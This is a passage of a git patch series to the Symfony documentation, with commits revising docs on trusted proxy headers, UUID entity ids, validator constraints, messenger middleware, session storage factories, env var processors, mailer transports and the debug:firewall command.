             // or, if you're using a wellknown proxy
-            trusted_headers: [!php/const Symfony\\Component\\HttpFoundation\\Request::HEADER_X_FORWARDED_AWS_ELB, '!x-forwarded-host', '!x-forwarded-prefix']
-            trusted_headers: [!php/const Symfony\\Component\\HttpFoundation\\Request::HEADER_X_FORWARDED_TRAEFIK, '!x-forwarded-host', '!x-forwarded-prefix']
+            trusted_headers: [!php/const Symfony\\Component\\HttpFoundation\\Request::HEADER_X_FORWARDED_AWS_ELB]
+            trusted_headers: [!php/const Symfony\\Component\\HttpFoundation\\Request::HEADER_X_FORWARDED_TRAEFIK]
 
     .. code-block:: xml
 
@@ -57,15 +57,14 @@ and what headers your reverse proxy uses to send information:
                 <!-- the IP address (or range) of your proxy -->
                 <framework:trusted-proxies>192.0.0.1,10.0.0.0/8</framework:trusted-proxies>
 
-                <!-- trust *all* "X-Forwarded-*" headers (the ! prefix means to not trust those headers) -->
-                <framework:trusted-header>x-forwarded-all</framework:trusted-header>
-                <framework:trusted-header>!x-forwarded-host</framework:trusted-header>
-                <framework:trusted-header>!x-forwarded-prefix</framework:trusted-header>
+                <!-- trust *all* "X-Forwarded-*" headers -->
+                <framework:trusted-header>x-forwarded-for</framework:trusted-header>
+                <framework:trusted-header>x-forwarded-host</framework:trusted-header>
+                <framework:trusted-header>x-forwarded-proto</framework:trusted-header>
+                <framework:trusted-header>x-forwarded-port</framework:trusted-header>
 
                 <!-- or, if your proxy instead uses the "Forwarded" header -->
                 <framework:trusted-header>forwarded</framework:trusted-header>
-                <framework:trusted-header>!x-forwarded-host</framework:trusted-header>
-                <framework:trusted-header>!x-forwarded-prefix</framework:trusted-header>
             </framework:config>
         </container>
 
@@ -78,12 +77,12 @@ and what headers your reverse proxy uses to send information:
             // the IP address (or range) of your proxy
             'trusted_proxies' => '192.0.0.1,10.0.0.0/8',
             // trust *all* "X-Forwarded-*" headers (the ! prefix means to not trust those headers)
-            'trusted_headers' => ['x-forwarded-all', '!x-forwarded-host', '!x-forwarded-prefix'],
+            'trusted_headers' => ['x-forwarded-for', 'x-forwarded-host', 'x-forwarded-proto', 'x-forwarded-port'],
             // or, if your proxy instead uses the "Forwarded" header
-            'trusted_headers' => ['forwarded', '!x-forwarded-host', '!x-forwarded-prefix'],
+            'trusted_headers' => ['forwarded'],
             // or, if you're using a wellknown proxy
-            'trusted_headers' => [Request::HEADER_X_FORWARDED_AWS_ELB, '!x-forwarded-host', '!x-forwarded-prefix'],
-            'trusted_headers' => [Request::HEADER_X_FORWARDED_TRAEFIK, '!x-forwarded-host', '!x-forwarded-prefix'],
+            'trusted_headers' => [Request::HEADER_X_FORWARDED_AWS_ELB],
+            'trusted_headers' => [Request::HEADER_X_FORWARDED_TRAEFIK],
         ]);
 
 .. deprecated:: 5.2

From 7a2f7df69762aa244639dd3e130cc2516277f64d Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 11 Feb 2021 10:51:03 +0100
Subject: [PATCH 1839/7107] [Uid] Removed Uuuid generator classes

---
 components/uid.rst | 35 +++++++++++++++++------------------
 1 file changed, 17 insertions(+), 18 deletions(-)

diff --git a/components/uid.rst b/components/uid.rst
index e84b7296fad..b63d829d03a 100644
--- a/components/uid.rst
+++ b/components/uid.rst
@@ -151,29 +151,32 @@ type, which converts to/from UUID objects automatically::
         // ...
     }
 
-There's also a Doctrine generator to help autogenerate UUID values for the
-entity primary keys::
+.. versionadded:: 5.2
 
-    // there are generators for UUID V1 and V6 too
-    use Symfony\Bridge\Doctrine\IdGenerator\UuidV4Generator;
-    use Symfony\Component\Uid\Uuid;
+    The UUID type was introduced in Symfony 5.2.
 
-    /**
-     * @ORM\Entity(repositoryClass="App\Repository\ProductRepository")
-     */
-    class Product
+There is no generator to assign UUIDs automatically as the value of your entity
+primary keys, but you can use instead the following::
+
+    namespace App\Entity;
+
+    use Doctrine\ORM\Mapping as ORM;
+    // ...
+
+    class User implements UserInterface
     {
         /**
          * @ORM\Id
-         * @ORM\Column(type="uuid", unique=true)
-         * @ORM\GeneratedValue(strategy="CUSTOM")
-         * @ORM\CustomIdGenerator(class=UuidV4Generator::class)
+         * @ORM\Column(type="ulid", unique=true)
          */
         private $id;
 
-        // ...
+        public function __construct()
+        {
+            $this->id = new Ulid();
+        }
 
-        public function getId(): ?Uuid
+        public function getId(): Ulid
         {
             return $this->id;
         }
@@ -181,10 +184,6 @@ entity primary keys::
         // ...
     }
 
-.. versionadded:: 5.2
-
-    The UUID type and generators were introduced in Symfony 5.2.
-
 When using built-in Doctrine repository methods (e.g. ``findOneBy()``), Doctrine
 knows how to convert these UUID types to build the SQL query
 (e.g. ``->findOneBy(['user' => $user->getUuid()])``). However, when using DQL

From 18393893867e6c2ad575f33775bdf0e4f102ea38 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 12 Feb 2021 15:41:40 +0100
Subject: [PATCH 1840/7107] Tweaks

---
 components/uid.rst | 9 +++++----
 1 file changed, 5 insertions(+), 4 deletions(-)

diff --git a/components/uid.rst b/components/uid.rst
index b63d829d03a..1bd3fcb2b56 100644
--- a/components/uid.rst
+++ b/components/uid.rst
@@ -156,27 +156,28 @@ type, which converts to/from UUID objects automatically::
     The UUID type was introduced in Symfony 5.2.
 
 There is no generator to assign UUIDs automatically as the value of your entity
-primary keys, but you can use instead the following::
+primary keys, but you can use the following::
 
     namespace App\Entity;
 
     use Doctrine\ORM\Mapping as ORM;
+    use Symfony\Component\Uid\Uuid;
     // ...
 
     class User implements UserInterface
     {
         /**
          * @ORM\Id
-         * @ORM\Column(type="ulid", unique=true)
+         * @ORM\Column(type="uuid", unique=true)
          */
         private $id;
 
         public function __construct()
         {
-            $this->id = new Ulid();
+            $this->id = Uuid::v4();
         }
 
-        public function getId(): Ulid
+        public function getId(): Uuid
         {
             return $this->id;
         }

From 2cb0c9e53eed0730dfa2cb5e81825e9468c8a99c Mon Sep 17 00:00:00 2001
From: wkania <wojciech.kania@gmail.com>
Date: Sat, 13 Feb 2021 12:20:08 +0100
Subject: [PATCH 1841/7107] [Validator] Change Range and Legth description
 formatting

---
 reference/constraints/Length.rst | 4 ++--
 reference/constraints/Range.rst  | 2 +-
 2 files changed, 3 insertions(+), 3 deletions(-)

diff --git a/reference/constraints/Length.rst b/reference/constraints/Length.rst
index 11ae53ae6b9..7e790efeee7 100644
--- a/reference/constraints/Length.rst
+++ b/reference/constraints/Length.rst
@@ -23,8 +23,8 @@ Validator   :class:`Symfony\\Component\\Validator\\Constraints\\LengthValidator`
 Basic Usage
 -----------
 
-To verify that the ``firstName`` field length of a class is between "2"
-and "50", you might add the following:
+To verify that the ``firstName`` field length of a class is between ``2``
+and ``50``, you might add the following:
 
 .. configuration-block::
 
diff --git a/reference/constraints/Range.rst b/reference/constraints/Range.rst
index 5743d8d04ef..d07bc0445f4 100644
--- a/reference/constraints/Range.rst
+++ b/reference/constraints/Range.rst
@@ -22,7 +22,7 @@ Validator   :class:`Symfony\\Component\\Validator\\Constraints\\RangeValidator`
 Basic Usage
 -----------
 
-To verify that the "height" field of a class is between "120" and "180",
+To verify that the ``height`` field of a class is between ``120`` and ``180``,
 you might add the following:
 
 .. configuration-block::

From 6f212d9854638822dc016e7a540113157533e1d5 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?J=C3=A9r=C3=A9my=20Deruss=C3=A9?= <jeremy@derusse.com>
Date: Sat, 13 Feb 2021 16:17:56 +0100
Subject: [PATCH 1842/7107] Add documentation for RouterContextMiddleware

---
 messenger.rst | 61 +++++++++++++++++++++++++++++++++++++++++++++++++++
 1 file changed, 61 insertions(+)

diff --git a/messenger.rst b/messenger.rst
index edd43cd7881..eda3d7b16d3 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -1954,6 +1954,67 @@ may want to use:
             ],
         ]);
 
+Other Middlewares
+~~~~~~~~~~~~~~~~~
+
+.. versionadded:: 5.3
+
+    The ``router_context`` middleware were introduced in Symfony 5.3.
+
+When the consumer needs to build an absolute URL, for instance: rendering a
+template with links, it needs the initial's request context in order to
+retrieves the domain and information needed to build the URL. This can be
+achieved by declaring the ``router_context`` middleware in the bus.
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/messenger.yaml
+        framework:
+            messenger:
+                buses:
+                    command_bus:
+                        middleware:
+                            - router_context
+
+    .. code-block:: xml
+
+        <!-- config/packages/messenger.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xmlns:framework="http://symfony.com/schema/dic/symfony"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/symfony
+                https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
+
+            <framework:config>
+                <framework:messenger>
+                    <framework:bus name="command_bus">
+                        <framework:middleware id="router_context"/>
+                    </framework:bus>
+                </framework:messenger>
+            </framework:config>
+        </container>
+
+    .. code-block:: php
+
+        // config/packages/messenger.php
+        $container->loadFromExtension('framework', [
+            'messenger' => [
+                'buses' => [
+                    'command_bus' => [
+                        'middleware' => [
+                            'router_context',
+                        ],
+                    ],
+                ],
+            ],
+        ]);
+
+
 Messenger Events
 ~~~~~~~~~~~~~~~~
 

From 6f1a420a567338648e66a788927b0ef02df8460b Mon Sep 17 00:00:00 2001
From: Wojciech Kania <wojciech.kania@gmail.com>
Date: Sun, 14 Feb 2021 10:09:45 +0100
Subject: [PATCH 1843/7107] [Validator] Improve Valid constraint description

---
 reference/constraints/Valid.rst | 7 +++++++
 1 file changed, 7 insertions(+)

diff --git a/reference/constraints/Valid.rst b/reference/constraints/Valid.rst
index 1cb992128ac..b052cab38b4 100644
--- a/reference/constraints/Valid.rst
+++ b/reference/constraints/Valid.rst
@@ -243,6 +243,13 @@ the validation of the ``Address`` fields failed.
     App\Entity\Author.address.zipCode:
         This value is too long. It should have 5 characters or less.
 
+.. include:: /reference/constraints/_empty-values-are-valid.rst.inc
+
+.. note::
+
+    This constraint is not aware what sub-object must be associated with it, a common solution is to combine this constraint
+    with :doc:`Type </reference/constraints/Type>`.
+
 Options
 -------
 

From feb165e67b54d3f46adce3cc7915afb7a5b835cc Mon Sep 17 00:00:00 2001
From: wkania <wojciech.kania@gmail.com>
Date: Sun, 14 Feb 2021 10:18:19 +0100
Subject: [PATCH 1844/7107] [Validator] Use import instead of FQCN

---
 reference/constraints/Type.rst | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/reference/constraints/Type.rst b/reference/constraints/Type.rst
index 61189e7f989..a8920e655dd 100644
--- a/reference/constraints/Type.rst
+++ b/reference/constraints/Type.rst
@@ -64,11 +64,12 @@ This will check if ``id`` is an instance of ``Ramsey\Uuid\UuidInterface``,
         // src/Entity/Author.php
         namespace App\Entity;
 
+        use Ramsey\Uuid\UuidInterface;
         use Symfony\Component\Validator\Constraints as Assert;
 
         class Author
         {
-            #[Assert\Type('Ramsey\Uuid\UuidInterface')]
+            #[Assert\Type(UuidInterface::class)]
             protected $id;
 
             #[Assert\Type('string')]

From d9b0a1dc6f7b1bb1cd9d5ef6939b5cc17ebec660 Mon Sep 17 00:00:00 2001
From: wkania <wojciech.kania@gmail.com>
Date: Sun, 14 Feb 2021 11:06:38 +0100
Subject: [PATCH 1845/7107] [Validator] Add PHP Attributes example to Compound

---
 reference/constraints/Compound.rst | 90 +++++++++++++++++++++++-------
 1 file changed, 71 insertions(+), 19 deletions(-)

diff --git a/reference/constraints/Compound.rst b/reference/constraints/Compound.rst
index 6e0ab5db139..a43899e7c24 100644
--- a/reference/constraints/Compound.rst
+++ b/reference/constraints/Compound.rst
@@ -23,27 +23,66 @@ Basic Usage
 Suppose that you have different places where a user password must be validated,
 you can create your own named set or requirements to be reused consistently everywhere::
 
-    // src/Validator/Constraints/PasswordRequirements.php
-    namespace App\Validator\Constraints;
-
-    use Symfony\Component\Validator\Constraints\Compound;
-    use Symfony\Component\Validator\Constraints as Assert;
-
-    /**
-     * @Annotation
-     */
-    class PasswordRequirements extends Compound
-    {
-        protected function getConstraints(array $options): array
+.. configuration-block::
+
+    .. code-block:: php-annotations
+    
+        // src/Validator/Constraints/PasswordRequirements.php
+        namespace App\Validator\Constraints;
+
+        use Symfony\Component\Validator\Constraints\Compound;
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        /**
+         * @Annotation
+         */
+        class PasswordRequirements extends Compound
         {
-            return [
-                new Assert\NotBlank(),
-                new Assert\Type('string'),
-                new Assert\Length(['min' => 12]),
-                new Assert\NotCompromisedPassword(),
-            ];
+            protected function getConstraints(array $options): array
+            {
+                return [
+                    new Assert\NotBlank(),
+                    new Assert\Type('string'),
+                    new Assert\Length(['min' => 12]),
+                    new Assert\NotCompromisedPassword(),
+                ];
+            }
         }
-    }
+
+    .. code-block:: php-attributes
+
+        // src/Validator/Constraints/PasswordRequirements.php
+        namespace App\Validator\Constraints;
+
+        use Symfony\Component\Validator\Constraints\Compound;
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        #[\Attribute]
+        class PasswordRequirements extends Compound
+        {
+            protected function getConstraints(array $options): array
+            {
+                return [
+                    new Assert\NotBlank(),
+                    new Assert\Type('string'),
+                    new Assert\Length(['min' => 12]),
+                    new Assert\NotCompromisedPassword(),
+                ];
+            }
+        }  
+
+.. versionadded:: 5.2
+
+    The ability to use PHP attributes to configure constraints was introduced in
+    Symfony 5.2. Prior to this, Doctrine Annotations were the only way to
+    annotate constraints.
+
+.. note::
+
+    The ``@Annotation`` or ``#[\Attribute]`` annotation is necessary for this new constraint in
+    order to make it available for use in classes via annotations.
+    Options for your constraint are represented as public properties on the
+    constraint class.
 
 You can now use it anywhere you need it:
 
@@ -64,6 +103,19 @@ You can now use it anywhere you need it:
             public $password;
         }
 
+    .. code-block:: php-attributes
+
+        // src/User/RegisterUser.php
+        namespace App\User;
+
+        use App\Validator\Constraints as AcmeAssert;
+
+        class RegisterUser
+        {
+            #[AcmeAssert\PasswordRequirements]
+            public $password;
+        }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml

From 1a71a9c7f20a18ff78293c947a877b48874f027a Mon Sep 17 00:00:00 2001
From: wkania <wojciech.kania@gmail.com>
Date: Sun, 14 Feb 2021 11:13:43 +0100
Subject: [PATCH 1846/7107] [Validator]  Add PHP Attribute as an annotation
 option in the description

---
 validation/custom_constraint.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/validation/custom_constraint.rst b/validation/custom_constraint.rst
index 8aaca8eb96a..d0d1c27d6f4 100644
--- a/validation/custom_constraint.rst
+++ b/validation/custom_constraint.rst
@@ -52,7 +52,7 @@ First you need to create a Constraint class and extend :class:`Symfony\\Componen
 
 .. note::
 
-    The ``@Annotation`` annotation is necessary for this new constraint in
+    The ``@Annotation`` or ``#[\Attribute]`` annotation is necessary for this new constraint in
     order to make it available for use in classes via annotations.
     Options for your constraint are represented as public properties on the
     constraint class.

From 4a3a9875df8846279ff62157f0182dad4d639a7a Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?J=C3=A9r=C3=A9my=20Deruss=C3=A9?= <jeremy@derusse.com>
Date: Sun, 14 Feb 2021 15:27:24 +0100
Subject: [PATCH 1847/7107] Update documentation for deprecated
 "session.storage" service

---
 reference/configuration/framework.rst | 21 ++++++++-----
 session.rst                           | 44 +++++++++++++++++++--------
 session/php_bridge.rst                | 10 +++---
 3 files changed, 49 insertions(+), 26 deletions(-)

diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index d3baf76260a..b13f9f870f7 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -269,7 +269,7 @@ Configuration
   * `save_path`_
   * `sid_length`_
   * `sid_bits_per_character`_
-  * `storage_id`_
+  * `storage_factory_id`_
   * `use_cookies`_
 
 * `test`_
@@ -1443,19 +1443,24 @@ errors.
 session
 ~~~~~~~
 
-storage_id
-..........
+storage_factory_id
+..................
 
-**type**: ``string`` **default**: ``'session.storage.native'``
+**type**: ``string`` **default**: ``'session.storage.factory.native'``
 
-The service ID used for storing the session. The ``session.storage`` service
-alias will be set to this service. The class has to implement
-:class:`Symfony\\Component\\HttpFoundation\\Session\\Storage\\SessionStorageInterface`.
+The service ID used for creatig the ``SessionStorageInterface`` that will store
+the session. The ``session.storage.factory`` service alias will be set to this
+service. The class has to implement
+:class:`Symfony\\Component\\HttpFoundation\\Session\\Storage\\SessionStorageFactoryInterface`.
 To see a list of all available storages, run:
 
 .. code-block:: terminal
 
-    $ php bin/console debug:container session.storage.
+    $ php bin/console debug:container session.storage.factory.
+
+.. versionadded:: 5.3
+
+    The ``storage_factory_id`` option was introduced in Symfony 5.3.
 
 .. _config-framework-session-handler-id:
 
diff --git a/session.rst b/session.rst
index 2727c3d617d..5a3fb69c09b 100644
--- a/session.rst
+++ b/session.rst
@@ -185,33 +185,51 @@ your ``Session`` object with the default ``AttributeBag`` by the ``NamespacedAtt
     .. code-block:: yaml
 
         # config/services.yaml
-        session_listener:
+        session.factory:
             autoconfigure: true
-            class: App\EventListener\SessionListener
+            class: App\Session\SessionFactory
             arguments:
-            - !service_locator
-                logger: '@?logger'
-                session_collector: '@?data_collector.request.session_collector'
-                session_storage: '@session.storage'
-                session_attributes: '@session.namespacedattributebag'
-            - '%kernel.debug%'
+            - '@request_stack'
+            - '@session.storage.factory'
+            - ['@session_listener', 'onSessionUsage']
+            - '@session.namespacedattributebag'
 
         session.namespacedattributebag:
             class: Symfony\Component\HttpFoundation\Session\Attribute\NamespacedAttributeBag
 
 .. code-block:: php
 
-    namespace App\EventListener;
+    namespace App\Session;
 
+    use Symfony\Component\HttpFoundation\RequestStack;
+    use Symfony\Component\HttpFoundation\Session\Attribute\NamespacedAttributeBag;
     use Symfony\Component\HttpFoundation\Session\Session;
     use Symfony\Component\HttpFoundation\Session\SessionInterface;
-    use Symfony\Component\HttpKernel\EventListener\AbstractSessionListener;
+    use Symfony\Component\HttpFoundation\Session\Storage\SessionStorageFactoryInterface;
 
-    class SessionListener extends AbstractSessionListener
+    class SessionFactory
     {
-        protected function getSession(): ?SessionInterface
+        private $requestStack;
+        private $storageFactory;
+        private $usageReporter;
+        private $sessionAttributes;
+
+        public function __construct(RequestStack $requestStack, SessionStorageFactoryInterface $storageFactory, callable $usageReporter, NamespacedAttributeBag $sessionAttributes)
+        {
+            $this->requestStack = $requestStack;
+            $this->storageFactory = $storageFactory;
+            $this->usageReporter = $usageReporter;
+            $this->sessionAttributes = $sessionAttributes;
+        }
+
+        public function createSession(): SessionInterface
         {
-            return new Session($this->container->get('session_storage'), $this->container->get('session_attributes'));
+            return new Session(
+                $this->storageFactory->createStorage($this->requestStack->getMasterRequest()),
+                $this->sessionAttributes,
+                null,
+                $this->usageReporter
+            );
         }
     }
 
diff --git a/session/php_bridge.rst b/session/php_bridge.rst
index 42c8644e2a7..ba7fc53d41a 100644
--- a/session/php_bridge.rst
+++ b/session/php_bridge.rst
@@ -18,7 +18,7 @@ for the ``handler_id``:
         # config/packages/framework.yaml
         framework:
             session:
-                storage_id: session.storage.php_bridge
+                storage_factory_id: session.storage.factory.php_bridge
                 handler_id: ~
 
     .. code-block:: xml
@@ -32,7 +32,7 @@ for the ``handler_id``:
                 https://symfony.com/schema/dic/services/services-1.0.xsd">
 
             <framework:config>
-                <framework:session storage-id="session.storage.php_bridge"
+                <framework:session storage-factory-id="session.storage.factory.php_bridge"
                     handler-id="null"
                 />
             </framework:config>
@@ -43,7 +43,7 @@ for the ``handler_id``:
         // config/packages/framework.php
         $container->loadFromExtension('framework', [
             'session' => [
-                'storage_id' => 'session.storage.php_bridge',
+                'storage_factory_id' => 'session.storage.factory.php_bridge',
                 'handler_id' => null,
             ],
         ]);
@@ -60,7 +60,7 @@ the example below:
         # config/packages/framework.yaml
         framework:
             session:
-                storage_id: session.storage.php_bridge
+                storage_factory_id: session.storage.factory.php_bridge
                 handler_id: session.handler.native_file
 
     .. code-block:: xml
@@ -85,7 +85,7 @@ the example below:
         // config/packages/framework.php
         $container->loadFromExtension('framework', [
             'session' => [
-                'storage_id' => 'session.storage.php_bridge',
+                'storage_factory_id' => 'session.storage.factory.php_bridge',
                 'handler_id' => 'session.storage.native_file',
             ],
         ]);

From 3ff812d799a3abdfc64f72956fe0fa0bd2c955fd Mon Sep 17 00:00:00 2001
From: Beno!t POLASZEK <bpolaszek@gmail.com>
Date: Sun, 14 Feb 2021 10:42:34 +0100
Subject: [PATCH 1848/7107] [DependencyInjection] Negated (not:) env var
 processor

---
 configuration/env_var_processors.rst | 40 ++++++++++++++++++++++++++++
 1 file changed, 40 insertions(+)

diff --git a/configuration/env_var_processors.rst b/configuration/env_var_processors.rst
index 407b5137fbc..2b42559911f 100644
--- a/configuration/env_var_processors.rst
+++ b/configuration/env_var_processors.rst
@@ -136,6 +136,46 @@ Symfony provides the following env var processors:
                 'http_method_override' => '%env(bool:HTTP_METHOD_OVERRIDE)%',
             ]);
 
+``env(not:FOO)``
+
+    .. versionadded:: 5.3
+
+        The ``not:`` env var processor was introduced in Symfony 5.3.
+
+    Casts ``FOO`` to a bool (just as ``env(bool:...)`` does) except it returns the inverted value
+    (falsy values are returned as ``true``, truthy values are returned as ``false``):
+
+    .. configuration-block::
+
+        .. code-block:: yaml
+
+            # config/services.yaml
+            parameters:
+                safe_for_production: '%env(not:APP_DEBUG)%'
+
+        .. code-block:: xml
+
+            <!-- config/services.xml -->
+            <?xml version="1.0" encoding="UTF-8" ?>
+            <container xmlns="http://symfony.com/schema/dic/services"
+                xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+                xmlns:framework="http://symfony.com/schema/dic/symfony"
+                xsi:schemaLocation="http://symfony.com/schema/dic/services
+                    https://symfony.com/schema/dic/services/services-1.0.xsd
+                    http://symfony.com/schema/dic/symfony
+                    https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
+
+                <parameters>
+                    <parameter key="safe_for_production">%env(not:APP_DEBUG)%</parameter>
+                </parameters>
+
+            </container>
+
+        .. code-block:: php
+
+            // config/services.php
+            $container->setParameter('safe_for_production', '%env(not:APP_DEBUG)%');
+
 ``env(int:FOO)``
     Casts ``FOO`` to an int.
 

From ad5a890da80c79eefff709a62ce78362c99eaee7 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Pablo=20Schl=C3=A4pfer?= <github@spam.pableu.net>
Date: Thu, 11 Feb 2021 18:06:33 +0100
Subject: [PATCH 1849/7107] improve documentation for mailer failover and
 round-robin transports

---
 mailer.rst | 15 +++++++++------
 1 file changed, 9 insertions(+), 6 deletions(-)

diff --git a/mailer.rst b/mailer.rst
index 58531bf85f3..ff567eab3bc 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -186,9 +186,9 @@ A failover transport is configured with two or more transports and the
 
     MAILER_DSN="failover(postmark+api://ID@default sendgrid+smtp://KEY@default)"
 
-The mailer will start using the first transport. If the sending fails, the
-mailer won't retry it with the other transports, but it will switch to the next
-transport automatically for the following deliveries.
+The failover-transport starts using the first transport and if it fails, it
+will retry the same delivery with the next transports until one of them succeeds
+(or until all of them fail).
 
 Load Balancing
 ~~~~~~~~~~~~~~
@@ -203,9 +203,12 @@ A round-robin transport is configured with two or more transports and the
 
     MAILER_DSN="roundrobin(postmark+api://ID@default sendgrid+smtp://KEY@default)"
 
-The mailer will start using the first transport and if it fails, it will retry
-the same delivery with the next transports until one of them succeeds (or until
-all of them fail).
+The round-robin transport starts with a *randomly* selected transport and
+then switches to the next available transport for each subsequent email.
+
+As with the failover transport, round-robin retries deliveries until
+a transport succeeds (or all fail). In contrast to the failover transport,
+it *spreads* the load across all its transports.
 
 Creating & Sending Messages
 ---------------------------

From 7512515581be517ef92af7198eecedfea440242f Mon Sep 17 00:00:00 2001
From: Timo Bakx <timobakx@gmail.com>
Date: Sun, 14 Feb 2021 17:07:14 +0100
Subject: [PATCH 1850/7107] [Security] Added debug:firewall command

---
 reference/configuration/security.rst | 20 ++++++++++++++++++++
 1 file changed, 20 insertions(+)

diff --git a/reference/configuration/security.rst b/reference/configuration/security.rst
index d4a37758798..3c7980c153f 100644
--- a/reference/configuration/security.rst
+++ b/reference/configuration/security.rst
@@ -472,6 +472,26 @@ depend on the authentication mechanism, which can be any of these:
                     http_digest:
                         # ...
 
+You can view actual information about the firewalls in your application with
+the ``debug:firewall`` command:
+
+.. code-block:: terminal
+
+    # displays a list of firewalls currently configured for your application
+    $ php bin/console debug:firewall
+
+    # displays the details of a specific firewall
+    $ php bin/console debug:firewall main
+
+    # displays the details of a specific firewall, including detailed information
+    # about the event listeners for the firewall
+    $ php bin/console debug:firewall main --include-listeners
+
+.. versionadded:: 5.3
+
+    The ``debug:firewall`` command was introduced in Symfony 5.3.
+
+
 .. _reference-security-firewall-form-login:
 
 ``form_login`` Authentication

From 8a614ebc3df768f427f3e514488256172dc67b86 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 15 Feb 2021 09:13:56 +0100
Subject: [PATCH 1851/7107] Minor reword

---
 validation/custom_constraint.rst | 11 ++++-------
 1 file changed, 4 insertions(+), 7 deletions(-)

diff --git a/validation/custom_constraint.rst b/validation/custom_constraint.rst
index d0d1c27d6f4..5f85cb9092e 100644
--- a/validation/custom_constraint.rst
+++ b/validation/custom_constraint.rst
@@ -44,19 +44,16 @@ First you need to create a Constraint class and extend :class:`Symfony\\Componen
             public $message = 'The string "{{ string }}" contains an illegal character: it can only contain letters or numbers.';
         }
 
+Add ``@Annotation`` or ``#[\Attribute]`` to the constraint class if you want to
+use it as an annotation/attribute in other classes. If the constraint has
+configuration options, define them as public properties on the constraint class.
+
 .. versionadded:: 5.2
 
     The ability to use PHP attributes to configure constraints was introduced in
     Symfony 5.2. Prior to this, Doctrine Annotations were the only way to
     annotate constraints.
 
-.. note::
-
-    The ``@Annotation`` or ``#[\Attribute]`` annotation is necessary for this new constraint in
-    order to make it available for use in classes via annotations.
-    Options for your constraint are represented as public properties on the
-    constraint class.
-
 Creating the Validator itself
 -----------------------------
 

From c2a3742020fc3e683f108dcd09722bdaafb781c9 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 15 Feb 2021 09:43:41 +0100
Subject: [PATCH 1852/7107] Tweak

---
 reference/configuration/framework.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index b13f9f870f7..5c0989c8afc 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -1448,9 +1448,9 @@ storage_factory_id
 
 **type**: ``string`` **default**: ``'session.storage.factory.native'``
 
-The service ID used for creatig the ``SessionStorageInterface`` that will store
-the session. The ``session.storage.factory`` service alias will be set to this
-service. The class has to implement
+The service ID used for creating the ``SessionStorageInterface`` that stores
+the session. This service is available in the Symfony application via the
+``session.storage.factory`` service alias. The class has to implement
 :class:`Symfony\\Component\\HttpFoundation\\Session\\Storage\\SessionStorageFactoryInterface`.
 To see a list of all available storages, run:
 

From d6a73143447ae1f5446d3d24e814f3dbcc0191d8 Mon Sep 17 00:00:00 2001
From: Sebastian Paczkowski <74934099+sebpacz@users.noreply.github.com>
Date: Mon, 15 Feb 2021 07:10:34 +0100
Subject: [PATCH 1853/7107] [Messenger] Remove duplicated Redis transport
 requirements

The Redis transport requirements has been presented twice. I mean the following sentences: "This transport requires the Redis PHP extension (>=4.3) and a running Redis server (^5.0)." and "To use the Redis transport, you will need the Redis PHP extension (>=4.3) and a running Redis server (^5.0).".
---
 messenger.rst | 3 ---
 1 file changed, 3 deletions(-)

diff --git a/messenger.rst b/messenger.rst
index c2773c0c674..19736f3df4b 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -1164,9 +1164,6 @@ The Redis transport DSN may looks like this:
 
     The Unix socket DSN was introduced in Symfony 5.1.
 
-To use the Redis transport, you will need the Redis PHP extension (>=4.3) and
-a running Redis server (^5.0).
-
 A number of options can be configured via the DSN or via the ``options`` key
 under the transport in ``messenger.yaml``:
 

From d101f1ce537efcb613f019cbddba4ef5e148fd0a Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 15 Feb 2021 09:48:24 +0100
Subject: [PATCH 1854/7107] Added a previous reference

---
 reference/configuration/framework.rst | 2 ++
 1 file changed, 2 insertions(+)

diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index 5c0989c8afc..d9772a772cc 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -1443,6 +1443,8 @@ errors.
 session
 ~~~~~~~
 
+.. _storage_id:
+
 storage_factory_id
 ..................
 

From 6c8bbd602c018997171fa5152e342de29d9c7770 Mon Sep 17 00:00:00 2001
From: Mohameth <Mohameth@users.noreply.github.com>
Date: Sat, 13 Feb 2021 21:06:29 +0100
Subject: [PATCH 1855/7107] Update lock documentation for more clarity

In response to https://github.com/symfony/symfony-docs/issues/9367, I also had some understanding the meaning.
---
 components/lock.rst | 7 ++++---
 1 file changed, 4 insertions(+), 3 deletions(-)

diff --git a/components/lock.rst b/components/lock.rst
index 16049101e10..7651dd19caf 100644
--- a/components/lock.rst
+++ b/components/lock.rst
@@ -62,9 +62,10 @@ method can be safely called repeatedly, even if the lock is already acquired.
 .. note::
 
     Unlike other implementations, the Lock Component distinguishes locks
-    instances even when they are created for the same resource. If a lock has
-    to be used by several services, they should share the same ``Lock`` instance
-    returned by the ``LockFactory::createLock`` method.
